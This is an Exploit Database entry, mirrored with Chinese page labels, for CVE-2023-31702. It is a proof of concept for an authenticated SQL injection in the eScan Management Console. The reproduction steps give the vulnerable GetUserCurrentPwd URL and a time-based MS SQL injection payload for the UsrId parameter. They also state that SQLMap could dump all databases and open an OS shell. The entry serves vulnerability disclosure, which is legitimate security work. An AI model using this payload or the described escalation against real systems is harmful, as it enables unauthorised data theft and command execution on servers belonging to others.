eScan Management Console 14.0.1400.2281 – SQL Injection (Authenticated)

• Exploit Database
• 102 阅读

• 作者： Sahil Ojha
  日期： 2023-05-23
• 类别：

  • webapps
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/51466/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24

  # Exploit Title: eScan Management Console 14.0.1400.2281 - SQL Injection (Authenticated) # Date: 16/05/2023 # Exploit Author: Sahil Ojha # Vendor Homepage: https://www.escanav.com # Software Link: https://cl.escanav.com/ewconsole.dll # Version: 14.0.1400.2281 # Tested on: Windows # CVE : CVE-2023-31702   *Step of Reproduction/Proof of concept(POC)*   1. Login into the escan management console with a valid username and password as root user. 2. Navigate to URL: https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=4176 3. Inject the payload into the UsrId parameter to confirm the SQL injection as shown below: https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR DELAY '0:0:5'--&cnt=4176 4. The time delay of 5 seconds confirmed that "UsrId" parameter was vulnerable to SQL Injection. Furthermore, it was also possible to dump all the databases and inject OS shell directly into the MS SQL Server using SQLMap tool.